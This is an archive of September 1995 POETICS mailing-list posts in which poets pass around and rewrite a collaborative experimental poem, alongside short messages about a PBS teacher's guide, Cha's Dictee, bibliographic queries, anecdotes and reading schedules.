> >The caravan of endowments to what they flee
> >These space curtains, more gauze than bondage, more
> >Boloed than aware, spin-art and pebbling
> >but narrow in the face or foppish Sunday Hilda oh!
> >Over coffee chopped with kissed lads, the Times blowing
> >& opining, heavy humid air, we musing against the
> >bleached ribcage ripcorded into compassed wind
> >missing the violinist between her rests as she
> >indexes fracas problem: tool shacks, landscape of
> >Zorro son of thunderhead and the storm in the steel glass
> >s halfway pertinent incision we keep making
> >(I denied not knowing how cadenza was meant) &
> >Neapolitan pockets in small furniture intended house
> >chance several mountains away but it wasn't, you know, a
> >big tango when the attorney general came, said amen,

> >"Dias,oh, ho kook!"Xanthippe Ellington! "Tootin' Through the
> >Roof" Tobacco warehouse, curls no rabbit rabbit rabbit rabbit
> >texture so to speak was at the cleaners hot and
> >stubble somewhere unnoticed, chirping presence
> >the chair is sad, alas, and i've lusted tootles' livers the
> >detour a cello a day dishevels a boat cold otter chose in the core
> >slaughter because we're waiting all throughout
> >eternity for solos to be of such suchness.
> >In the nooks were creams and in the stream were hooks
> >All models like films about their friends in pastel
> >of darkness falling like an afghan around the manatee.
> >Likewise seems sandpaper huckster with seesaw inchworms and
> >recently soft brute of subject's object status, violent
> >transformation la Ste. Therese into beaming cumulus hapax
> >switchback and in the u-turns were bookmobiles rounding angels
> >considered shrill as I'm left in the acres to be aging
> >flutes sing fender-benderless in trio, h-h-h-holy cow!
> >effort really is or is not, fast enough to sleep
> >through thunderstorms, arm over thigh until light shakes
> >petals free of names that rain across known skin forgotten
> >alive in our hearse hurts, projective nurse if she is to go ahead
> >And, with a shout, collecting coat hangers
> >saunter lope pentecost Timon of Athens operator will you cockpit
> >out, transplanted organs speak, "arf!" the idiom
> >inseams, a snare as solvently unequal-- the power
> >uncreased although each snare still trembles QuarkXpress
> >which explains why the sump is busted and why
> >he preferred Hole to afternoons on the phone with that
> >carp, a cousin on the moon, remember the needy
> >capable of keeping the canoe right way up in the cool
> >prose of the upper Hudson, dinner's at seven so
> >start swimmin, bud: "lay me down in a wetsuit,
> >heats me up the porridge," it's like a huge typo
> >of familiarity. I am storing valence for later use
> >I know the war-whoop in each dusty arrogance
> >among the choruses and the different people
> >Char, Lee, Parr, Kerr, everybody is Hokey Pokey
> >collecting the very boring nouns that come in on the breeze
> >delicate lace flies tied by Pelican Bill, yo, in the house,
> >of narration with part of good moisture. Here, bile, sopor,
> >ebullience is a token gesture of the sauced, Red Stuff.
> >I have a lot of duodenum. In the freezer we can defend some

> >woods on a snowy evening, my yellow rose is lovely dark and deep
> >as penitence, but let's elude the shakes and drear, get lost in
> >our palaver. Have? Will not a binge of harmony which
> >in the end go "meerschaum" on us till we Tempest ourselves to
> >bearings where the heiress is cows bathing in starlight. Give
> >the poor temp a rest, for widest space succombs to onslaughts of
> >hidden porchlight in the platitude that she has given his
> >longitude. Depth is directly stated. A signal slated to be canonized
> >elevates politicos and blond ones also raving vortices but
> >does hang-gliding exist or is the circle a bulb of "plus" expenses
> >cabins away from "Flash and Filligree" and "Goat's Head Soup"
> >travel stiffly by the tears for so many tendons
> documentary to mean full body winter with alcohol removed
sending the bulk of closure with sentient loops

↑ Index

354. CAROLYN L. FORCHE-MATTISON

Re: twenty questions

Tue 12 Sep 1995

Oh God, Jordan, you're right. It's sick. I HATED the whole thing. For the POETICS record. Out-retch!

--Carolyn

On
Tue, 12 Sep 1995, Jordan Davis. wrote:

> *Probably the less said about the language of life, and the more about linebreak the better, but I'm guessing the new radio show out of Buffalo won't have the kind of grant money PBS did, nor would it use that money to produce a very slick set of teacher's guides (including 18 poet cards--bigger and less exciting than baseball cards). Outreach! they call it.*
>
> *Here are some "questions to think about" from the teacher's guide to "The Language of Life" with Bill Moyers (with apologies to C Forche, the only list member ((I think)) involved). High school teachers will be asking these questions to future citizens of our various polises (polices?) in the next few weeks...*
>
> *Why is "what you dream up" deeper than what you know?*
>
> *What will you do with your time?*
>
> *Why should you be suspicious of what you want?*

> *When did you last surprise wounds of your own this long time unmothered?*
>
> *How _can_ we move toward one another?*
>
> *How do you know if you can or can't sing?*
>
> *When do you catch sight of the promised land?*
>
> *What have you been given for your poetry?*
>
> *To what do you pledge allegiance?*
>
> *What is the "myself" that you want to be?*
>
> *What kind of satchel do you carry your poems in?*
>
> *How have you honored that floral apron?*
>
> *When did you last forget _your_ distance?*
>
> *What are the circumstances in which you are reading the poem?*
>
> *What would you aim your poems at?*
>
> *What music is great enough to bring you back?*
>
> *What leads you back to a person you need to remember?*
>
> *What happened before you were born that still matters to you now?*
>
> *I'll be collecting your papers next Tuesday, typed, double spaced…*
> *Jordan*

↑ Index

355. **Jorge Guitart**

this break will or will not not branch

Tue 12 Sep 1995

Chris wrote:
> Jorge wrote:
> Sheila wrote
> Jorge wrote:
> Sheila wrote
> Jorge wrote:
> Sheila wrote:

> Jorge wrote:
>
> Sheila wrote:
>
> In the books were dreams and in the dreams were books.And flew
> through windows '95, lightning green and fine morning
> First inverted whistle of a cardinal in the poplar
> The book and the oboe on the grass under sun and cloud
> Go endlessly, an obtuse Prussian blue, it binds
> The caravan of windows to what they flee
> These lace curtains, more gauze than bondage, more
> Mollycoddled than aware, thin-spined and pebbling
> but narrow in the waist or waspish Sunday years ago
> Over coffee topped with whipped lads, the Times blowing
> & opining, heavy humid air, cum amusing against the
> bleached ribcage ripcorded into compassed wind
> kissing the weatherwoman between her beasts as she
> gives gracious problem: fanatical snacks, landscape of
> flicka son of thunderhead and the storm in the glass of water'
> s halfway pertinent incision we keep making safe for ignorance
> (inspection denied for not knowing how credenza was meant) &
> neo-colonizing pockets in small furniture intended house
> sequentially several mountains away but it wasn't, you know, a
> big tango when the attorney general came, selah hales said,
> "Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
> Roof" Tobacco warehouse, curls no ideas but the woven fabric the
> texture so to speak was at the dry cleaners piping hot and
> gloved-in somewhere unsalted, perched on prescience
> the chair is sad, alas, and i've lusted tootles' liversthe odor
> day toy a cello day dis chevys a bo coo daughter chose encore
> Flaubert because we're waiting all throughout
> eternity for moments to be of such suchness.
> In the nooks were creams and in the stream were hooks
> All melded like striated film leftover in the pastel seeds
> of darkness falling like a counterirritant around the manchineel.
> Likewise seams andpaper juxtaposed with seasoned instruments and
> recently soft fruit of subject's object status, violent
> transformation la Ste. Therese into beaming cumulus apokoinu
> switchback and in the u-turns were bookmobiles rounding angles
> considered shrill as pine left in the acres to be aging
> flawlessly, flutes sing genderless in trio, surprisedby how quiet
> effort really is or is not, fast enough to sleep

> through thunderstorms, arm over thigh until light shakes
> petals free of names that rain across known skin forgotten
> alive in our hearse hurts, projective nurse if she is to go ahead
> and dance, composing instead of straining muscles, far eyes
> saunter lope pentecost beam operator will you cockpit
> out, transplanted organs speak, the idiom
> inseams, a snare as solvently unequal-- the power
> uncreased although each snare still trembles quantum
> which explains why the pump is busted and why
> he preferred whole afternoons on the phone to that
> crap about not having a cousin on the moon
> capable of keeping the canoe right way up in the cool
> prose of the upper Hudson, dinner's at seven so
> start swimmin, bud: "lay me down in a wetsuit,
> heats me up in the sleaze," it's like a huge dose
> of familiarity. I am storing radiance for later use
> I know the war-whoop in each dusty narrative
> among the invoices and the difference engines
> Char, Lee, Parr, Kerr, everybody is here and there
> collecting the stamp hinges that come in on the breeze
> delicate lace flies into pelican Bills in the house
> of narration with partners of good moisture. Here,touch my
> ebullience with a token gesture of sauce, of the red stuff.
> I have a lot of duende in the freezer & we can defrost some
> woods on a snowy evening, my horse is lovely dark and deep
> as penitence, but let's elude the shakes and drear, get lost in
> our palaver have tongue will travel not a binge of harmony which
> in the end goes meerschaum on us till we blink ourselves to
> creeping where the sublime is cows bathing in starlight. Give
> temporality a rest, for widest space succombs to onslaughts of
> hidden porchlight in the latitude that she has given his
> longitude. Depth is directly stated. A signal slated to be read
> ingratiates politicos and blond ones also shaven vortices but
> does mangling exist or the circle is balboa plus expenses
> cabinets away from lust and pedigree and shark fin soup
> trailing stiffens buying tears for so many tendons
> demitassed to mean full-bodied wine with alcohol removed
> by trained leeches from under the rotting elastic, a feast
> of swirling eddies with beaucoup of labia & confetti

↑ Index

356. **Jorge Guitart**
Re: renga
Tue 12 Sep 1995

---

h.t., loss, kevin and anybody else:

unconditional permission granted.

↑ Index

357. **Jorge Guitart**
Re: ahem Chaim subroutine hawk stichic
Tue 12 Sep 1995

On Tue, 12 Sep 1995, Jordan Davis. wrote:

> *In the books were dreams and in the dreams were books.And flew*
> *through windows '95, lightning green and fine morning*
> *First detrevni whistle of a cardinal in the poplar*
> *The book and the old boy on the grass under sun and cloud*
> *Go endless, an obtuse cellar blue, it binds*
> *The caravan of endowments to what they flee*
> *These space curtains, more gauze than bondage, more*
> *Boloed than aware, spin-art and pebbling*
> *but narrow in the face or foppish Sunday Hilda oh!*
> *Over coffee chopped with kissed lads, the Times blowing*
> *& opining, heavy humid air, we musing against the*
> *bleached ribcage ripcorded into compassed wind*
> *missing the violinist between her rests as she*
> *indexes fracas problem: tool shacks, landscape of*
> *Zorro son of thunderhead and the storm in the steel glass*
> *s halfway pertinent incision we keep making*
> *(I denied not knowing how cadenza was meant) &*
> *Neapolitan pockets in small furniture intended house*
> *chance several mountains away but it wasn't, you know, a*
> *big tango when the attorney general came, said amen,*
> *"Dias,oh, ho kook!"Xanthippe Ellington! "Tootin' Through the*
> *Roof" Tobacco warehouse, curls no rabbit rabbit rabbit rabbit*
> *texture so to speak was at the cleaners hot and*
> *stubble somewhere unnoticed, chirping presence*
> *the chair is sad, alas, and i've lusted tootles' livers the*
> *detour a cello a day dishevels a boat cold otter chose in the core*
> *slaughter because we're waiting all throughout*
> *eternity for solos to be of such suchness.*
> *In the nooks were creams and in the stream were hooks*
> *All models like films about their friends in pastel*
> *of darkness falling like an afghan around the manatee.*
> *Likewise seems sandpaper huckster with seesaw inchworms and*
> *recently soft brute of subject's object status, violent*

transformation la Ste. Therese into beaming cumulus hapax
switchback and in the u-turns were bookmobiles rounding angels
considered shrill as I'm left in the acres to be aging
flutes sing fender-benderless in trio, h-h-h-holy cow!
effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to go ahead
And, with a shout, collecting coat hangers
saunter lope pentecost Timon of Athens operator will you cockpit
out, transplanted organs speak, "arf!" the idiom
inseams, a snare as solvently unequal-- the power
uncreased although each snare still trembles QuarkXpress
which explains why the sump is busted and why
he preferred Hole to afternoons on the phone with that
carp, a cousin on the moon, remember the needy
capable of keeping the canoe right way up in the cool
prose of the upper Hudson, dinner's at seven so
start swimmin, bud: "lay me down in a wetsuit,
heats me up the porridge," it's like a huge typo
of familiarity. I am storing valence for later use
I know the war-whoop in each dusty arrogance
among the choruses and the different people
Char, Lee, Parr, Kerr, everybody is Hokey Pokey
collecting the very boring nouns that come in on the breeze
delicate lace flies tied by Pelican Bill, yo, in the house,
of narration with part of good moisture. Here, bile, sopor,
ebullience is a token gesture of the sauced, Red Stuff.
I have a lot of duodenum. In the freezer we can defend some
woods on a snowy evening, my yellow rose is lovely dark and deep
as penitence, but let's elude the shakes and drear, get lost in
our palaver. Have? Will not a binge of harmony which
in the end go "meerschaum" on us till we Tempest ourselves to
bearings where the heiress is cows bathing in starlight. Give
the poor temp a rest, for widest space succombs to onslaughts of
hidden porchlight in the platitude that she has given his
longitude. Depth is directly stated. A signal slated to be canonized
elevates politicos and blond ones also raving vortices but
does hang-gliding exist or is the circle a bulb of "plus" expenses
cabins away from "Flash and Filligree" and "Goat's Head Soup"
travel stiffly by the tears for so many tendons
documentary to mean full body winter with alcohol removed
sending the bulk of closure with sentient loops
but my nerves are excellent tonight: I fired Mr. Churchyard

↑ Index

358. **Charles Watts**
Re: Red Wheelbarrow
Tue 12 Sep 1995

Bill Luoma: Re that paper bag: it's THE TERM, about 1937, first published in COMPLETE COLLECTED POEMS, 1906-1938 -- so says Emily Mitchell Wallace in the Williams Bibliography (& A. Walton Litz & Christopher McGowan, THE COLLECTED POEMS, Vol 1, 1909-1939)

s'long from b.c.

↑ Index

359. **Brian W Horihan**
unidentified photo
Tue 12 Sep 1995

I know some of you are familiar with Theresa Cha's book Dictee, so I thought maybe I could pose my question here. It is: who is the woman in the picture at the beginning of the Erato-Love Poetry section? She's holding what looks like a flag and sword. I would appreciate any help. --brian

↑ Index

360. **jms**
Re: unidentified photo
Tue 12 Sep 1995

That is St. Theresa of Liseux posing as Joan of Arc in a convent play.

Juliana Spahr

> *I know some of you are familiar with Theresa Cha's book Dictee, so I thought maybe I could pose my question here. It is: who is the woman in the picture at the beginning of the Erato-Love Poetry section? She's holding what looks like a flag and sword. I would appreciate any help. --brian*

↑ Index

361. **George Bowering**
Re: Sheila & Jorge's Excellent Adventure
Tue 12 Sep 1995

> *S&J's excellent adventure sans chevrons*

> *Jorge wrote:*
> *Sheila wrote*
> *Jorge wrote:*
> *Sheila wrote*
> *Jorge wrote:*
> *Sheila wrote:*
> *Jorge wrote:*
>
> *Sheila wrote:*
>
> *In the books were dreams and in the dreams were books.And flew*
> *through windows '95, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped lads, the Times blowing*
> *& opining, heavy humid air, cum amusing against the*
> *bleached ribcage ripcorded into compassed wind accident*
> *kissing the weatherwoman between her beasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka son of thunderhead and the storm in the glass of water'*
> *s halfway pertinent incision we keep making safe for ignorance*
> *(inspection denied for not knowing how credenza was meant) &*
> *neo-colonizing pockets in small furniture intended house*
> *sequentially several mountains away but it wasn't, you know, a*
> *big tango when the attorney general came, selah hales said,*
> *"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the*
> *Roof" Tobacco warehouse, nada curls no ideas but the woven fabric the*
> *texture so to speak was at the dry cleaners piping hot and*
> *gloved-in somewhere unsalted, perched on prescience y pues nada*
> *the chair is sad, alas, and i've lusted tootles' liversthe odor*
> *day toy a cello day dis chevys a bo coo daughter chose encore*
> *Flaubert because we're waiting all throughout*
> *eternity for moments to be of such suchness,*
> *to hold a rattle up, to eat our mommies.*
> *In the nooks were creams and in the stream were hooks*
> *All melded like striated film leftover in the pastel seeds*
> *of darkness falling like a counterirritant around the manchineel.*
> *Likewise seams andpaper juxtaposed with seasoned instruments and*
> *recently soft fruit of subject's object status, violent*
> *transformation la Ste. Therese into beaming cumulus apokoinu*
> *switchback and in the u-turns were bookmobiles rounding angles*
> *considered shrill as pine left in the acres to be aging*
> *flawlessly, flutes sing genderless in trio, surprisedby how quiet*

> *effort really is or is not, fast enough to sleep*
> *through thunderstorms, arm over thigh until light shakes*
> *petals free of names that rain across known skin forgotten*
> *alive in our hearse hurts, projective nurse if she is to go ahead*
> *and dance, composing instead of straining muscles, far eyes*
> *saunter lope pentecost beam operator will you cockpit*
> *out, transplanted organs speak, the idiom*
> *inseams, a snare as solvently unequal-- the power*
> *uncreased although each snare still trembles quantum*
> *which explains why the pump is busted and why*
> *he preferred whole afternoons on the phone to that*
> *crap about not having a cousin on the moon*
> *capable of keeping the canoe right way up in the cool*
> *prose of the upper Hudson, dinner's at seven so*
> *start swimmin, bud: "lay me down in a wetsuit,*
> *heats me up in the sleaze," it's like a huge dose*
> *of familiarity. I am storing radiance for later use*
> *I know the war-whoop in each dusty narrative*
> *among the invoices and the difference engines*
> *Char, Lee, Parr, Kerr, everybody is here and there*
> *collecting the stamp hinges that come in on the breeze*
> *delicate lace flies into pelican Bills in the house*
> *of narration with partners of good moisture. Here,touch my*
> *ebullience with a token gesture of sauce, of the red stuff.*
> *I have a lot of duende in the freezer & we can defrost some*
> *woods on a snowy evening, my horse is lovely dark and deep*
> *as penitence, but let's elude the shakes and drear, get lost in*
> *our palaver have tongue will travel not a binge of harmony which*
> *in the end goes meerschaum on us till we blink ourselves to*
> *creeping where the sublime is cows bathing in starlight. Give*
> *temporality a rest, for widest space succombs to onslaughts of*
> *hidden porchlight in the latitude that she has given his*
> *longitude. Depth is directly stated. A signal slated to be read*
> *ingratiates politicos and blond ones also shaven vortices but*
> *does mangling exist or the circle is balboa plus expenses*
> *cabinets away from lust and pedigree and shark fin soup*
> *trailing stiffens buying tears for so many tendons*
> *demitassed to mean full-bodied wine with alcohol removed*
> *by trained leeches from under the rotting elastic, a feast*
> *conducted by William Carlos Williams & the Five Snorers,*

↑ Index

362. **George Bowering**

Re: A non-non-list anagram

Tue 12 Sep 1995

Rod Smith (leaving out a rude obvious one) = Shod Trim

↑ Index

363. **George Bowering**
Re: renga
Tue 12 Sep 1995

On behalf of everyone who has diddled with the "renga," I hereby grant permission for its reproduction and editing in any medium whatsoever for all time and in any country.

↑ Index

364. **George Bowering**
Re: Dave Ayre As I Remember Him
Tue 12 Sep 1995

My favourite memory of Dave Ayre: it was probably 1977, in Bolinas. Tom Clarke was out for his daily marathon run, and Dave was running backward in front of him, tossing rose petals in his path. Tom was shouting evil imprecations all the while, but after 12 miles held his breath and just made gruesome faces. Sometimes Dave wouild run over the hill and come back with another armload of blossoms. "You arsehole!" shouted Tom, "just run. Forget the encomia, forget the silent irony. Just run for daylight. But David smiled wordlessly. He was listening to his mantra over and over in his cranium, never told anyone what it was. Tom didnt know, and it was eating his gut.

↑ Index

365. **George Bowering**
Re: SPECIAL AGENCY
Tue 12 Sep 1995

Herb Levy has a great ear for music, but he needs new glasses. I dont look like Marcel Proust at all. He's way deader than I am.

↑ Index

366. **George Bowering**
Re: SPECIAL AGENCY
Tue 12 Sep 1995

Well, Gabrielle Welford asked me to go on, and I have been debating the idea with myself and a few other people here for a few days. I dont want to tell you all the things that Charles B. did to turn people's stomachs during the Blaser fest. But when we were having our, uh, conversation in his room he kept jumping up to move his framed 8x11 picture of Kevin K. closer and closer. I

could not stand it after a while. I took the thing he had behind the door and ran as fast as I could for the cleansing waters of Burrard Inlet, heedless of the accident that might have befallen me as I ran with tears welling in my orbs.

↑ Index

367. Charles Alexander

Re: this break will or will not not branch

Tue 12 Sep 1995

In the books were dreams and in the dreams were books.
And flew through windows lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped lads, the Times blowing
& opining, heavy humid air, cum amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her beasts as she
gives gracious problem: fanatical snacks, landscape of
flicka son of thunderhead and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance
(inspection denied for not knowing how credenza was meant) &
neo-colonizing pockets in small furniture intended house
sequentially several mountains away but it wasn't, you know, a
big tango when the attorney general came, selah hales said,
"Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
Roof" Tobacco warehouse, curls no ideas but the woven fabric the
texture so to speak was at the dry cleaners piping hot and
gloved-in somewhere unsalted, perched on prescience
the chair is sad, alas, and i've lusted tootles' liversthe odor
day toy a cello day dis chevys a bo coo daughter chose encore
Flaubert because we're waiting all throughout
eternity for moments to be of such suchness.
In the nooks were creams and in the stream were hooks
All melded like striated film leftover in the pastel seeds
of darkness falling like a counterirritant around the manchineel.
Likewise seams andpaper juxtaposed with seasoned instruments and
recently soft fruit of subject's object status, violent

transformation la Ste. Therese into beaming cumulus apokoinu
switchback and in the u-turns were bookmobiles rounding angles
considered shrill as pine left in the acres to be aging
flawlessly, flutes sing genderless in trio, surprisedby how quiet
effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to go ahead
and dance, composing instead of straining muscles, far eyes
saunter lope pentecost beam operator will you cockpit
out, transplanted organs speak, the idiom
inseams, a snare as solvently unequal-- the power
uncreased although each snare still trembles quantum
which explains why the pump is busted and why
he preferred whole afternoons on the phone to that
crap about not having a cousin on the moon
capable of keeping the canoe right way up in the cool
prose of the upper Hudson, dinner's at seven so
start swimmin, bud: "lay me down in a wetsuit,
heats me up in the sleaze," it's like a huge dose
of familiarity. I am storing radiance for later use
I know the war-whoop in each dusty narrative
among the invoices and the difference engines
Char, Lee, Parr, Kerr, everybody is here and there
collecting the stamp hinges that come in on the breeze
delicate lace flies into pelican Bills in the house
of narration with partners of good moisture. Here,touch my
ebullience with a token gesture of sauce, of the red stuff.
I have a lot of duende in the freezer & we can defrost some
woods on a snowy evening, my horse is lovely dark and deep
as penitence, but let's elude the shakes and drear, get lost in
our palaver have tongue will travel not a binge of harmony which
in the end goes meerschaum on us till we blink ourselves to
creeping where the sublime is cows bathing in starlight. Give
temporality a rest, for widest space succombs to onslaughts of
hidden porchlight in the latitude that she has given his
longitude. Depth is directly stated. A signal slated to be read
ingratiates politicos and blond ones also shaven vortices but
does mangling exist or the circle is balboa plus expenses
cabinets away from lust and pedigree and shark fin soup
trailing stiffens buying tears for so many tendons
demitassed to mean full-bodied wine with alcohol removed

by trained leeches from under the rotting elastic, a feast
of swirling eddies with beaucoup of labia & confetti
starving time's scythe for water, matching colors to go
Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

↑ Index

368. **Scott Krieger**

Re: this break will or will not not branch

Tue 12 Sep 1995

> > In the books were dreams and in the dreams were books.And flew
> > through windows '95, lightning green and fine morning
> > First inverted whistle of a cardinal in the poplar
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> > Go endlessly, an obtuse Prussian blue, it binds
> > The caravan of windows to what they flee
> > These lace curtains, more gauze than bondage, more
> > Mollycoddled than aware, thin-spined and pebbling
> > but narrow in the waist or waspish Sunday years ago
> > Over coffee topped with whipped lads, the Times blowing
> > & opining, heavy humid air, cum amusing against the
> > bleached ribcage ripcorded into compassed wind
> > kissing the weatherwoman between her beasts as she
> > gives gracious problem: fanatical snacks, landscape of
> > flicka son of thunderhead and the storm in the glass of water'
> > s halfway pertinent incision we keep making safe for ignorance
> > (inspection denied for not knowing how credenza was meant) &
> > neo-colonizing pockets in small furniture intended house
> > sequentially several mountains away but it wasn't, you know, a
> > big tango when the attorney general came, selah hales said,
> > "Dias,oh,ho kook!"Edward Kennedy Ellington! "Tootin' Through the
> > Roof" Tobacco warehouse, curls no ideas but the woven fabric the
> > texture so to speak was at the dry cleaners piping hot and
> > gloved-in somewhere unsalted, perched on prescience
> > the chair is sad, alas, and i've lusted tootles' liversthe odor
> > day toy a cello day dis chevys a bo coo daughter chose encore
> > Flaubert because we're waiting all throughout

> > eternity for moments to be of such suchness.
> > In the nooks were creams and in the stream were hooks
> > All melded like striated film leftover in the pastel seeds
> > of darkness falling like a counterirritant around the manchineel.
> > Likewise seams andpaper juxtaposed with seasoned instruments and
> > recently soft fruit of subject's object status, violent
> > transformation la Ste. Therese into beaming cumulus apokoinu
> > switchback and in the u-turns were bookmobiles rounding angles
> > considered shrill as pine left in the acres to be aging
> > flawlessly, flutes sing genderless in trio, surprisedby how quiet
> > effort really is or is not, fast enough to sleep
> > through thunderstorms, arm over thigh until light shakes
> > petals free of names that rain across known skin forgotten
> > alive in our hearse hurts, projective nurse if she is to go ahead
> > and dance, composing instead of straining muscles, far eyes
> > saunter lope pentecost beam operator will you cockpit
> > out, transplanted organs speak, the idiom
> > inseams, a snare as solvently unequal-- the power
> > uncreased although each snare still trembles quantum
> > which explains why the pump is busted and why
> > he preferred whole afternoons on the phone to that
> > crap about not having a cousin on the moon
> > capable of keeping the canoe right way up in the cool
> > prose of the upper Hudson, dinner's at seven so
> > start swimmin, bud: "lay me down in a wetsuit,
> > heats me up in the sleaze," it's like a huge dose
> > of familiarity. I am storing radiance for later use
> > I know the war-whoop in each dusty narrative
> > among the invoices and the difference engines
> > Char, Lee, Parr, Kerr, everybody is here and there
> > collecting the stamp hinges that come in on the breeze
> > delicate lace flies into pelican Bills in the house
> > of narration with partners of good moisture. Here,touch my
> > ebullience with a token gesture of sauce, of the red stuff.
> > I have a lot of duende in the freezer & we can defrost some
> > woods on a snowy evening, my horse is lovely dark and deep
> > as penitence, but let's elude the shakes and drear, get lost in
> > our palaver have tongue will travel not a binge of harmony which
> > in the end goes meerschaum on us till we blink ourselves to
> > creeping where the sublime is cows bathing in starlight. Give
> > temporality a rest, for widest space succombs to onslaughts of
> > hidden porchlight in the latitude that she has given his

> > longitude. Depth is directly stated. A signal slated to be read
> > ingratiates politicos and blond ones also shaven vortices but
> > does mangling exist or the circle is balboa plus expenses
> > cabinets away from lust and pedigree and shark fin soup
> > trailing stiffens buying tears for so many tendons
> > demitassed to mean full-bodied wine with alcohol removed
> > by trained leeches from under the rotting elastic, a feast
> > of swirling eddies with beaucoup of labia & confetti
in the black stone cavity behind the swamphouse where we keep
the papers with the blue seals and the green bottles gone rank
>

↑ Index

369. Charles Alexander

Re: ahem Chaim subroutine hawk stichic

Tue 12 Sep 1995

In the books were dreams and in the dreams were books.And flew
through windows lightning green and fine morning
First detrevni whistle of a cardinal in the poplar
The book and the old boy on the grass under sun and cloud
Go endless, an obtuse cellar blue, it binds
The caravan of endowments to what they flee
These space curtains, more gauze than bondage, more
Boloed than aware, spin-art and pebbling
but narrow in the face or foppish Sunday Hilda oh!
Over coffee chopped with kissed lads, the Times blowing
& opining, heavy humid air, we musing against the
bleached ribcage ripcorded into compassed wind
missing the violinist between her rests as she
indexes fracas problem: tool shacks, landscape of
Zorro son of thunderhead and the storm in the steel glass
s halfway pertinent incision we keep making
(I denied not knowing how cadenza was meant) &
Neapolitan pockets in small furniture intended house
chance several mountains away but it wasn't, you know, a
big tango when the attorney general came, said amen,
"Dias,oh, ho kook!"Xanthippe Ellington! "Tootin' Through the
Roof" Tobacco warehouse, curls no rabbit rabbit rabbit rabbit
texture so to speak was at the cleaners hot and
stubble somewhere unnoticed, chirping presence
the chair is sad, alas, and i've lusted tootles' livers the

detour a cello a day dishevels a boat cold otter chose in the core
slaughter because we're waiting all throughout
eternity for solos to be of such suchness.
In the nooks were creams and in the stream were hooks
All models like films about their friends in pastel
of darkness falling like an afghan around the manatee.
Likewise seems sandpaper huckster with seesaw inchworms and
recently soft brute of subject's object status, violent
transformation la Ste. Therese into beaming cumulus hapax
switchback and in the u-turns were bookmobiles rounding angels
considered shrill as I'm left in the acres to be aging
flutes sing fender-benderless in trio, h-h-h-holy cow!
effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to go ahead
And, with a shout, collecting coat hangers
saunter lope pentecost Timon of Athens operator will you cockpit
out, transplanted organs speak, "arf!" the idiom
inseams, a snare as solvently unequal-- the power
uncreased although each snare still trembles QuarkXpress
which explains why the sump is busted and why
he preferred Hole to afternoons on the phone with that
carp, a cousin on the moon, remember the needy
capable of keeping the canoe right way up in the cool
prose of the upper Hudson, dinner's at seven so
start swimmin, bud: "lay me down in a wetsuit,
heats me up the porridge," it's like a huge typo
of familiarity. I am storing valence for later use
I know the war-whoop in each dusty arrogance
among the choruses and the different people
Char, Lee, Parr, Kerr, everybody is Hokey Pokey
collecting the very boring nouns that come in on the breeze
delicate lace flies tied by Pelican Bill, yo, in the house,
of narration with part of good moisture. Here, bile, sopor,
ebullience is a token gesture of the sauced, Red Stuff.
I have a lot of duodenum. In the freezer we can defend some
woods on a snowy evening, my yellow rose is lovely dark and deep
as penitence, but let's elude the shakes and drear, get lost in
our palaver. Have? Will not a binge of harmony which
in the end go "meerschaum" on us till we Tempest ourselves to
bearings where the heiress is cows bathing in starlight. Give

the poor temp a rest, for widest space succombs to onslaughts of
hidden porchlight in the platitude that she has given his
longitude. Depth is directly stated. A signal slated to be canonized
elevates politicos and blond ones also raving vortices but
does hang-gliding exist or is the circle a bulb of "plus" expenses
cabins away from "Flash and Filligree" and "Goat's Head Soup"
travel stiffly by the tears for so many tendons
documentary to mean full body winter with alcohol removed
sending the bulk of closure with sentient loops
closing about the glottal stop, succulent, ordinary
Charles Alexander
Chax Press
P.O. Box 19178
Minneapolis, MN 55419-0178
[redacted] (phone & fax)
[redacted]

↑ Index

370. Charles Bernstein
"Free Poetics" (Daily Message Threshold (50) exceeded for list)
Tue 12 Sep 1995

It's 11pm in Buffalo as I log in and get this message (about the fourth or fifth time in the life of the list):

Date: Tue, 12 Sep 1995 21:54:18 -0400 From: "L-Soft list server at UBVM (1.8b)" <[redacted]> Subject: Message ("Daily message threshold (50) exceeded for list...") To: Charles Bernstein <[redacted]>

Daily message threshold (50) exceeded for list POETICS. The list has been held and will stop processing messages until a "FREE POETICS" command is received from you.

***

So just to "Reveal Codes" and all that. Will now unlock the list.

↑ Index

371. Rod Smith
Re: Fall Ear Inn Schedule (fwd)
Tue 12 Sep 1995

I'm informed that the Watten / MacLow reading is Oct. 14th NOT Oct. 21. Guess that would put Goldsmith/Fodaski the 21st?

Watten will be reading DC Oct. 15th. at Bridge Street Books. Rosmarie Waldrop & Joan Retallack will be reading in Nov.

--Rod

↑ Index

372. Charles Alexander
Re: Sheila & Jorge's Excellent Adventure
Wed 13 Sep 1995

>> In the books were dreams and in the dreams were books.
>>And flew through windows, lightning green and fine morning
>> First inverted whistle of a cardinal in the poplar
>> The book and the oboe on the grass under sun and cloud
>> Go endlessly, an obtuse Prussian blue, it binds
>> The caravan of windows to what they flee
>> These lace curtains, more gauze than bondage, more
>> Mollycoddled than aware, thin-spined and pebbling
>> but narrow in the waist or waspish Sunday years ago
>> Over coffee topped with whipped lads, the Times blowing
>> & opining, heavy humid air, cum amusing against the
